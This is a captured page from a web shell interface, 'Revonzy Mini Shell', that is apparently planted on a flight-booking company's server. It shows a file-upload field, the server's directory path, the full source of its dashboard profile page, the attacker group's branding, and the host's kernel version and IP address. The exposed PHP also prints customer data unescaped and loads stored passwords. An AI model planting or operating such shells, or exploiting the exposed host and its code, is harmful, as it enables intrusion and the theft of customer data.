Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/b2bflight.com/B2BFlight/project/dashboard/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/b2bflight.com/B2BFlight/project/dashboard/profile.php

<?php
    require_once('lib/functions.php');

    $db = new class_functions();
    $current_login_admin = '';

    if (isset($_SESSION['current_login_admin'])) {
        $current_login_admin = $_SESSION['current_login_admin'];
    }
    
    $data = array();
    if ($current_login_admin) {
        $data = $db->get_all_register_for_profile($current_login_admin);
    }
?>
<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Profile</title>
    <link rel="stylesheet" href="styles.css">
    <?php require_once('header-common.php'); ?>
    <style>
        /* Add your CSS styles here */
        /* ... */
    </style>
</head>
<body>
<aside class="sidebar sidebar-default sidebar-white sidebar-base navs-rounded-all">
    <div class="sidebar-header d-flex align-items-center justify-content-start">
        <a href="index.php" class="navbar-brand">
            <img src="images/<?php echo $logo; ?>" class="software_logo" style="height:90px; width:220px;" />
        </a>
        <div class="sidebar-toggle" data-toggle="sidebar" data-active="true">
            <i class="icon">
                <svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
                    <path d="M4.25 12.2744L19.25 12.2744" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                    <path d="M10.2998 18.2988L4.2498 12.2748L10.2998 6.24976" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                </svg>
            </i>
        </div>
    </div>
    <?php require_once('left-side.php'); ?>
    <div class="sidebar-footer"></div>
</aside>
<main class="main-content">
    <?php require_once('navbar.php'); ?>
    <div class="container">
        <div class="row">
            <div class="col-lg-4">
                <div class="card">
                    <div class="card-body">
                        <div class="text-center">
                            <!-- Placeholder for Profile Photo -->
                            <div class="profile-photo mb-3">
                                <img src="images/profile.jpg" alt="Profile Photo" class="img-fluid rounded-circle" style="width: 150px; height: 150px;">
                            </div>
                            <h5 class="card-title mb-0">Profile Information</h5>
                        </div>
                        <div class="list-group list-group-flush text-center mt-4">
                            <a href="images/profile.jpg" class="list-group-item list-group-item-action border-0 active" onclick="showProfileDetails()">
                                Profile Information
                            </a>
                        </div>
                    </div>
                </div>
            </div>
            <div class="col-lg-8">
                <?php if (!empty($data)): ?>
                    <?php foreach ($data as $record): ?>
                        <?php 
                            $id = $record[0];
                            $company_name = $record[1];
                            $full_name = $record[2];
                            $phone_number = $record[3];
                            $whatsapp_number = $record[4];
                            $email_address = $record[5];
                            $referred_by = $record[6];
                            $country = $record[7];
                            $state = $record[8];
                            $district = $record[9];
                            $city = $record[10];
                            $address = $record[11];
                            $pin_code = $record[12];
                            $status = $record[13];
                            $your_locality = $record[14];
                            $nearest_airport = $record[15];
                            $primary_business = $record[16];
                            $monthly_business = $record[17]; // Corrected variable name
                            $secondary_business = $record[18];
                            $pan_no = $record[19]; // Updated index due to correction
                            $company_gst_no = $record[20];
                            $online_ota_1 = $record[21];
                            $online_ota_2 = $record[22];
                            $series_ota_1 = $record[23];
                            $series_ota_2 = $record[24];
                            $password = $record[25];
                            $date = $record[26];
                            $time = $record[27];
                        ?>
                        <div id="profileDetails" class="card">
                            <div class="card-body">
                                <div class="profile-info">
                                    <div class="mb-3">
                                        <h5>Personal Information</h5>
                                    </div>
                                    <div class="row mb-3">
                                        <div class="col-md-6">
                                            <p><strong>Company Name:</strong> <?php echo $company_name; ?></p>
                                            <p><strong>Full Name:</strong> <?php echo $full_name; ?></p>
                                            <p><strong>Phone Number:</strong> <?php echo $phone_number; ?></p>
                                            <p><strong>Whatsapp Number:</strong> <?php echo $whatsapp_number; ?></p>
                                            <p><strong>Email Address:</strong> <?php echo $email_address; ?></p>
                                            <p><strong>Referred By:</strong> <?php echo $referred_by; ?></p>
                                        </div>
                                        <div class="col-md-6">
                                            <p><strong>Country:</strong> <?php echo $country; ?></p>
                                            <p><strong>State:</strong> <?php echo $state; ?></p>
                                            <p><strong>District:</strong> <?php echo $district; ?></p>
                                            <p><strong>City:</strong> <?php echo $city; ?></p>
                                            <p><strong>Address:</strong> <?php echo $address; ?></p>
                                            <p><strong>PIN Code:</strong> <?php echo $pin_code; ?></p>
                                        </div>
                                    </div>
                                    <div class="mb-3">
                                        <h5>Business Information</h5>
                                    </div>
                                    <div class="row mb-3">
                                        <div class="col-md-6">
                                            <p><strong>Primary Business:</strong> <?php echo $primary_business; ?></p>
                                            <p><strong>Monthly Business:</strong> <?php echo $monthly_business; ?></p>
                                            <p><strong>Secondary Business:</strong> <?php echo $secondary_business; ?></p>
                                        </div>
                                        <div class="col-md-6">
                                            <p><strong>PAN No:</strong> <?php echo $pan_no; ?></p>
                                            <p><strong>Company GST No:</strong> <?php echo $company_gst_no; ?></p>
                                        </div>
                                    </div>
                                    <div class="mb-3">
                                        <h5>Other Information</h5>
                                    </div>
                                    <div class="row mb-3">
                                        <div class="col-md-6">
                                            <p><strong>Online OTAs:</strong> <?php echo $online_ota_1; ?></p>
                                            <p><strong>Online OTA 2:</strong> <?php echo $online_ota_2; ?></p>
                                        </div>
                                        <div class="col-md-6">
                                            <p><strong>Series OTA 1:</strong> <?php echo $series_ota_1; ?></p>
                                            <p><strong>Series OTA 2:</strong> <?php echo $series_ota_2; ?></p>
                                        </div>
                                    </div>
                                    <div>
                                        <p><strong>Date:</strong> <?php echo $date; ?></p>
                                        <p><strong>Time:</strong> <?php echo $time; ?></p>
                                    </div>
                                </div>
                            </div>
                        </div>
                    <?php endforeach; ?>
                <?php else: ?>
                    <p>No data found for the current user.</p>
                <?php endif; ?>
            </div>
        </div>
    </div>
</main>
</body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4